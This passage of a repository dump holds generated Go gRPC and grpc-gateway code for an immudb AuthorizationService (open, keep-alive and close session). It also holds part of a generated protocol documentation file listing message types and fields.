err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AuthorizationService_OpenSession_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AuthorizationService_OpenSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_AuthorizationService_KeepAlive_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AuthorizationService_KeepAlive_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AuthorizationService_KeepAlive_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_AuthorizationService_CloseSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AuthorizationService_CloseSession_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AuthorizationService_CloseSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}\n\n// RegisterAuthorizationServiceHandlerFromEndpoint is same as RegisterAuthorizationServiceHandler but\n// automatically dials to \"endpoint\" and closes the connection when \"ctx\" gets done.\nfunc RegisterAuthorizationServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterAuthorizationServiceHandler(ctx, mux, conn)\n}\n\n// RegisterAuthorizationServiceHandler registers the http handlers for service AuthorizationService to \"mux\".\n// The handlers forward requests to the grpc endpoint over \"conn\".\nfunc RegisterAuthorizationServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error {\n\treturn RegisterAuthorizationServiceHandlerClient(ctx, mux, NewAuthorizationServiceClient(conn))\n}\n\n// RegisterAuthorizationServiceHandlerClient registers the http handlers for service AuthorizationService\n// to \"mux\". The handlers forward requests to the grpc endpoint over the given implementation of \"AuthorizationServiceClient\".\n// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in \"AuthorizationServiceClient\"\n// doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in\n// \"AuthorizationServiceClient\" to call the correct interceptors.\nfunc RegisterAuthorizationServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client AuthorizationServiceClient) error {\n\n\tmux.Handle(\"POST\", pattern_AuthorizationService_OpenSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_AuthorizationService_OpenSession_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AuthorizationService_OpenSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_AuthorizationService_KeepAlive_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_AuthorizationService_KeepAlive_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AuthorizationService_KeepAlive_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_AuthorizationService_CloseSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_AuthorizationService_CloseSession_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AuthorizationService_CloseSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}\n\nvar (\n\tpattern_AuthorizationService_OpenSession_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"authorization\", \"session\", \"open\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_AuthorizationService_KeepAlive_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"authorization\", \"session\", \"keepalive\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_AuthorizationService_CloseSession_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"authorization\", \"session\", \"close\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n)\n\nvar (\n\tforward_AuthorizationService_OpenSession_0 = runtime.ForwardResponseMessage\n\n\tforward_AuthorizationService_KeepAlive_0 = runtime.ForwardResponseMessage\n\n\tforward_AuthorizationService_CloseSession_0 = runtime.ForwardResponseMessage\n)\n"
  },
  {
    "path": "pkg/api/protomodel/authorization_grpc.pb.go",
    "content": "// Code generated by protoc-gen-go-grpc. DO NOT EDIT.\n\npackage protomodel\n\nimport (\n\tcontext \"context\"\n\tgrpc \"google.golang.org/grpc\"\n\tcodes \"google.golang.org/grpc/codes\"\n\tstatus \"google.golang.org/grpc/status\"\n)\n\n// This is a compile-time assertion to ensure that this generated file\n// is compatible with the grpc package it is being compiled against.\n// Requires gRPC-Go v1.32.0 or later.\nconst _ = grpc.SupportPackageIsVersion7\n\n// AuthorizationServiceClient is the client API for AuthorizationService service.\n//\n// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream.\ntype AuthorizationServiceClient interface {\n\tOpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error)\n\tKeepAlive(ctx context.Context, in *KeepAliveRequest, opts ...grpc.CallOption) (*KeepAliveResponse, error)\n\tCloseSession(ctx context.Context, in *CloseSessionRequest, opts ...grpc.CallOption) (*CloseSessionResponse, error)\n}\n\ntype authorizationServiceClient struct {\n\tcc grpc.ClientConnInterface\n}\n\nfunc NewAuthorizationServiceClient(cc grpc.ClientConnInterface) AuthorizationServiceClient {\n\treturn &authorizationServiceClient{cc}\n}\n\nfunc (c *authorizationServiceClient) OpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error) {\n\tout := new(OpenSessionResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.AuthorizationService/OpenSession\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *authorizationServiceClient) KeepAlive(ctx context.Context, in *KeepAliveRequest, opts ...grpc.CallOption) (*KeepAliveResponse, error) {\n\tout := new(KeepAliveResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.AuthorizationService/KeepAlive\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *authorizationServiceClient) CloseSession(ctx context.Context, in *CloseSessionRequest, opts ...grpc.CallOption) (*CloseSessionResponse, error) {\n\tout := new(CloseSessionResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.AuthorizationService/CloseSession\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\n// AuthorizationServiceServer is the server API for AuthorizationService service.\n// All implementations should embed UnimplementedAuthorizationServiceServer\n// for forward compatibility\ntype AuthorizationServiceServer interface {\n\tOpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error)\n\tKeepAlive(context.Context, *KeepAliveRequest) (*KeepAliveResponse, error)\n\tCloseSession(context.Context, *CloseSessionRequest) (*CloseSessionResponse, error)\n}\n\n// UnimplementedAuthorizationServiceServer should be embedded to have forward compatible implementations.\ntype UnimplementedAuthorizationServiceServer struct {\n}\n\nfunc (UnimplementedAuthorizationServiceServer) OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method OpenSession not implemented\")\n}\nfunc (UnimplementedAuthorizationServiceServer) KeepAlive(context.Context, *KeepAliveRequest) (*KeepAliveResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method KeepAlive not implemented\")\n}\nfunc (UnimplementedAuthorizationServiceServer) CloseSession(context.Context, *CloseSessionRequest) (*CloseSessionResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method CloseSession not implemented\")\n}\n\n// UnsafeAuthorizationServiceServer may be embedded to opt out of forward compatibility for this service.\n// Use of this interface is not recommended, as added methods to AuthorizationServiceServer will\n// result in compilation errors.\ntype UnsafeAuthorizationServiceServer interface {\n\tmustEmbedUnimplementedAuthorizationServiceServer()\n}\n\nfunc RegisterAuthorizationServiceServer(s grpc.ServiceRegistrar, srv AuthorizationServiceServer) {\n\ts.RegisterService(&AuthorizationService_ServiceDesc, srv)\n}\n\nfunc _AuthorizationService_OpenSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(OpenSessionRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(AuthorizationServiceServer).OpenSession(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.AuthorizationService/OpenSession\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(AuthorizationServiceServer).OpenSession(ctx, req.(*OpenSessionRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _AuthorizationService_KeepAlive_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(KeepAliveRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(AuthorizationServiceServer).KeepAlive(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.AuthorizationService/KeepAlive\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(AuthorizationServiceServer).KeepAlive(ctx, req.(*KeepAliveRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _AuthorizationService_CloseSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(CloseSessionRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(AuthorizationServiceServer).CloseSession(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.AuthorizationService/CloseSession\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(AuthorizationServiceServer).CloseSession(ctx, req.(*CloseSessionRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\n// AuthorizationService_ServiceDesc is the grpc.ServiceDesc for AuthorizationService service.\n// It's only intended for direct use with grpc.RegisterService,\n// and not to be introspected or modified (even as a copy)\nvar AuthorizationService_ServiceDesc = grpc.ServiceDesc{\n\tServiceName: \"immudb.model.AuthorizationService\",\n\tHandlerType: (*AuthorizationServiceServer)(nil),\n\tMethods: []grpc.MethodDesc{\n\t\t{\n\t\t\tMethodName: \"OpenSession\",\n\t\t\tHandler:    _AuthorizationService_OpenSession_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"KeepAlive\",\n\t\t\tHandler:    _AuthorizationService_KeepAlive_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"CloseSession\",\n\t\t\tHandler:    _AuthorizationService_CloseSession_Handler,\n\t\t},\n\t},\n\tStreams:  []grpc.StreamDesc{},\n\tMetadata: \"authorization.proto\",\n}\n"
  },
  {
    "path": "pkg/api/protomodel/docs.md",
    "content": "# Protocol Documentation\n<a name=\"top\"></a>\n\n## Table of Contents\n\n- [authorization.proto](#authorization.proto)\n    - [CloseSessionRequest](#immudb.model.CloseSessionRequest)\n    - [CloseSessionResponse](#immudb.model.CloseSessionResponse)\n    - [KeepAliveRequest](#immudb.model.KeepAliveRequest)\n    - [KeepAliveResponse](#immudb.model.KeepAliveResponse)\n    - [OpenSessionRequest](#immudb.model.OpenSessionRequest)\n    - [OpenSessionResponse](#immudb.model.OpenSessionResponse)\n  \n    - [AuthorizationService](#immudb.model.AuthorizationService)\n  \n- [documents.proto](#documents.proto)\n    - [AddFieldRequest](#immudb.model.AddFieldRequest)\n    - [AddFieldResponse](#immudb.model.AddFieldResponse)\n    - [AuditDocumentRequest](#immudb.model.AuditDocumentRequest)\n    - [AuditDocumentResponse](#immudb.model.AuditDocumentResponse)\n    - [Collection](#immudb.model.Collection)\n    - [CountDocumentsRequest](#immudb.model.CountDocumentsRequest)\n    - [CountDocumentsResponse](#immudb.model.CountDocumentsResponse)\n    - [CreateCollectionRequest](#immudb.model.CreateCollectionRequest)\n    - [CreateCollectionResponse](#immudb.model.CreateCollectionResponse)\n    - [CreateIndexRequest](#immudb.model.CreateIndexRequest)\n    - [CreateIndexResponse](#immudb.model.CreateIndexResponse)\n    - [DeleteCollectionRequest](#immudb.model.DeleteCollectionRequest)\n    - [DeleteCollectionResponse](#immudb.model.DeleteCollectionResponse)\n    - [DeleteDocumentsRequest](#immudb.model.DeleteDocumentsRequest)\n    - [DeleteDocumentsResponse](#immudb.model.DeleteDocumentsResponse)\n    - [DeleteIndexRequest](#immudb.model.DeleteIndexRequest)\n    - [DeleteIndexResponse](#immudb.model.DeleteIndexResponse)\n    - [DocumentAtRevision](#immudb.model.DocumentAtRevision)\n    - [DocumentMetadata](#immudb.model.DocumentMetadata)\n    - [Field](#immudb.model.Field)\n    - [FieldComparison](#immudb.model.FieldComparison)\n    - [GetCollectionRequest](#immudb.model.GetCollectionRequest)\n    - [GetCollectionResponse](#immudb.model.GetCollectionResponse)\n    - [GetCollectionsRequest](#immudb.model.GetCollectionsRequest)\n    - [GetCollectionsResponse](#immudb.model.GetCollectionsResponse)\n    - [Index](#immudb.model.Index)\n    - [InsertDocumentsRequest](#immudb.model.InsertDocumentsRequest)\n    - [InsertDocumentsResponse](#immudb.model.InsertDocumentsResponse)\n    - [OrderByClause](#immudb.model.OrderByClause)\n    - [ProofDocumentRequest](#immudb.model.ProofDocumentRequest)\n    - [ProofDocumentResponse](#immudb.model.ProofDocumentResponse)\n    - [Query](#immudb.model.Query)\n    - [QueryExpression](#immudb.model.QueryExpression)\n    - [RemoveFieldRequest](#immudb.model.RemoveFieldRequest)\n    - [RemoveFieldResponse](#immudb.model.RemoveFieldResponse)\n    - [ReplaceDocumentsRequest](#immudb.model.ReplaceDocumentsRequest)\n    - [ReplaceDocumentsResponse](#immudb.model.ReplaceDocumentsResponse)\n    - [SearchDocumentsRequest](#immudb.model.SearchDocumentsRequest)\n    - [SearchDocumentsResponse](#immudb.model.SearchDocumentsResponse)\n    - [UpdateCollectionRequest](#immudb.model.UpdateCollectionRequest)\n    - [UpdateCollectionResponse](#immudb.model.UpdateCollectionResponse)\n  \n    - [ComparisonOperator](#immudb.model.ComparisonOperator)\n    - [FieldType](#immudb.model.FieldType)\n  \n    - [DocumentService](#immudb.model.DocumentService)\n  \n- [Scalar Value Types](#scalar-value-types)\n\n\n\n<a name=\"authorization.proto\"></a>\n<p align=\"right\"><a href=\"#top\">Top</a></p>\n\n## authorization.proto\n\n\n\n<a name=\"immudb.model.CloseSessionRequest\"></a>\n\n### CloseSessionRequest\n\n\n\n\n\n\n\n<a name=\"immudb.model.CloseSessionResponse\"></a>\n\n### CloseSessionResponse\n\n\n\n\n\n\n\n<a name=\"immudb.model.KeepAliveRequest\"></a>\n\n### KeepAliveRequest\n\n\n\n\n\n\n\n<a name=\"immudb.model.KeepAliveResponse\"></a>\n\n### KeepAliveResponse\n\n\n\n\n\n\n\n<a name=\"immudb.model.OpenSessionRequest\"></a>\n\n### OpenSessionRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| username | [string](#string) |  |  |\n| password | [string](#string) |  |  |\n| database | [string](#string) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.OpenSessionResponse\"></a>\n\n### OpenSessionResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| sessionID | [string](#string) |  |  |\n| serverUUID | [string](#string) |  |  |\n| expirationTimestamp | [int32](#int32) |  |  |\n| inactivityTimestamp | [int32](#int32) |  |  |\n\n\n\n\n\n \n\n \n\n \n\n\n<a name=\"immudb.model.AuthorizationService\"></a>\n\n### AuthorizationService\n\n\n| Method Name | Request Type | Response Type | Description |\n| ----------- | ------------ | ------------- | ------------|\n| OpenSession | [OpenSessionRequest](#immudb.model.OpenSessionRequest) | [OpenSessionResponse](#immudb.model.OpenSessionResponse) |  |\n| KeepAlive | [KeepAliveRequest](#immudb.model.KeepAliveRequest) | [KeepAliveResponse](#immudb.model.KeepAliveResponse) |  |\n| CloseSession | [CloseSessionRequest](#immudb.model.CloseSessionRequest) | [CloseSessionResponse](#immudb.model.CloseSessionResponse) |  |\n\n \n\n\n\n<a name=\"documents.proto\"></a>\n<p align=\"right\"><a href=\"#top\">Top</a></p>\n\n## documents.proto\n\n\n\n<a name=\"immudb.model.AddFieldRequest\"></a>\n\n### AddFieldRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| collectionName | [string](#string) |  |  |\n| field | [Field](#immudb.model.Field) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.AddFieldResponse\"></a>\n\n### AddFieldResponse\n\n\n\n\n\n\n\n<a name=\"immudb.model.AuditDocumentRequest\"></a>\n\n### AuditDocumentRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| collectionName | [string](#string) |  |  |\n| documentId | [string](#string) |  |  |\n| desc | [bool](#bool) |  |  |\n| page | [uint32](#uint32) |  |  |\n| pageSize | [uint32](#uint32) |  |  |\n| omitPayload | [bool](#bool) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.AuditDocumentResponse\"></a>\n\n### AuditDocumentResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated |  |\n\n\n\n\n\n\n<a name=\"immudb.model.Collection\"></a>\n\n### Collection\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| name | [string](#string) |  |  |\n| documentIdFieldName | [string](#string) |  |  |\n| fields | [Field](#immudb.model.Field) | repeated |  |\n| indexes | [Index](#immudb.model.Index) | repeated |  |\n\n\n\n\n\n\n<a name=\"immudb.model.CountDocumentsRequest\"></a>\n\n### CountDocumentsRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| query | [Query](#immudb.model.Query) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.CountDocumentsResponse\"></a>\n\n### CountDocumentsResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| count | [int64](#int64) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.CreateCollectionRequest\"></a>\n\n### CreateCollectionRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| name | [string](#string) |  |  |\n| documentIdFieldName | [string](#string) |  |  |\n| fields | [Field](#immudb.model.Field) | repeated |  |\n| indexes | [Index](#immudb.model.Index) | repeated |  |\n\n\n\n\n\n\n<a name=\"immudb.model.CreateCollectionResponse\"></a>\n\n### CreateCollectionResponse\n\n\n\n\n\n\n\n<a name=\"immudb.model.CreateIndexRequest\"></a>\n\n### CreateIndexRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| collectionName | [string](#string) |  |  |\n| fields | [string](#string) | repeated |  |\n| isUnique | [bool](#bool) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.CreateIndexResponse\"></a>\n\n### CreateIndexResponse\n\n\n\n\n\n\n\n<a name=\"immudb.model.DeleteCollectionRequest\"></a>\n\n### DeleteCollectionRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| name | [string](#string) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.DeleteCollectionResponse\"></a>\n\n### DeleteCollectionResponse\n\n\n\n\n\n\n\n<a name=\"immudb.model.DeleteDocumentsRequest\"></a>\n\n### DeleteDocumentsRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| query | [Query](#immudb.model.Query) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.DeleteDocumentsResponse\"></a>\n\n### DeleteDocumentsResponse\n\n\n\n\n\n\n\n<a name=\"immudb.model.DeleteIndexRequest\"></a>\n\n### DeleteIndexRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| collectionName | [string](#string) |  |  |\n| fields | [string](#string) | repeated |  |\n\n\n\n\n\n\n<a name=\"immudb.model.DeleteIndexResponse\"></a>\n\n### DeleteIndexResponse\n\n\n\n\n\n\n\n<a name=\"immudb.model.DocumentAtRevision\"></a>\n\n### DocumentAtRevision\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| transactionId | [uint64](#uint64) |  |  |\n| documentId | [string](#string) |  |  |\n| revision | [uint64](#uint64) |  |  |\n| metadata | [DocumentMetadata](#immudb.model.DocumentMetadata) |  |  |\n| document | [google.protobuf.Struct](#google.protobuf.Struct) |  |  |\n| username | [string](#string) |  |  |\n| ts | [int64](#int64) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.DocumentMetadata\"></a>\n\n### DocumentMetadata\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| deleted | [bool](#bool) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.Field\"></a>\n\n### Field\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| name | [string](#string) |  |  |\n| type | [FieldType](#immudb.model.FieldType) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.FieldComparison\"></a>\n\n### FieldComparison\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| field | [string](#string) |  |  |\n| operator | [ComparisonOperator](#immudb.model.ComparisonOperator) |  |  |\n| value | [google.protobuf.Value](#google.protobuf.Value) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.GetCollectionRequest\"></a>\n\n### GetCollectionRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| name | [string](#string) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.GetCollectionResponse\"></a>\n\n### GetCollectionResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| collection | [Collection](#immudb.model.Collection) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.GetCollectionsRequest\"></a>\n\n### GetCollectionsRequest\n\n\n\n\n\n\n\n<a name=\"immudb.model.GetCollectionsResponse\"></a>\n\n### GetCollectionsResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| collections | [Collection](#immudb.model.Collection) | repeated |  |\n\n\n\n\n\n\n<a name=\"immudb.model.Index\"></a>\n\n### Index\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| fields | [string](#string) | repeated |  |\n| isUnique | [bool](#bool) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.InsertDocumentsRequest\"></a>\n\n### InsertDocumentsRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| collectionName | [string](#string) |  |  |\n| documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated |  |\n\n\n\n\n\n\n<a name=\"immudb.model.InsertDocumentsResponse\"></a>\n\n### InsertDocumentsResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| transactionId | [uint64](#uint64) |  |  |\n| documentIds | [string](#string) | repeated |  |\n\n\n\n\n\n\n<a name=\"immudb.model.OrderByClause\"></a>\n\n### OrderByClause\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| field | [string](#string) |  |  |\n| desc | [bool](#bool) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.ProofDocumentRequest\"></a>\n\n### ProofDocumentRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| collectionName | [string](#string) |  |  |\n| documentId | [string](#string) |  |  |\n| transactionId | [uint64](#uint64) |  |  |\n| proofSinceTransactionId | [uint64](#uint64) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.ProofDocumentResponse\"></a>\n\n### ProofDocumentResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  |  |\n| collectionId | [uint32](#uint32) |  |  |\n| documentIdFieldName | [string](#string) |  |  |\n| encodedDocument | [bytes](#bytes) |  |  |\n| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.model.Query\"></a>\n\n### Query\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| collectionName | [string](#string) |  |  |\n| expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated |  |\n| orderBy | [OrderByClause](#immudb.model.OrderByClause) | 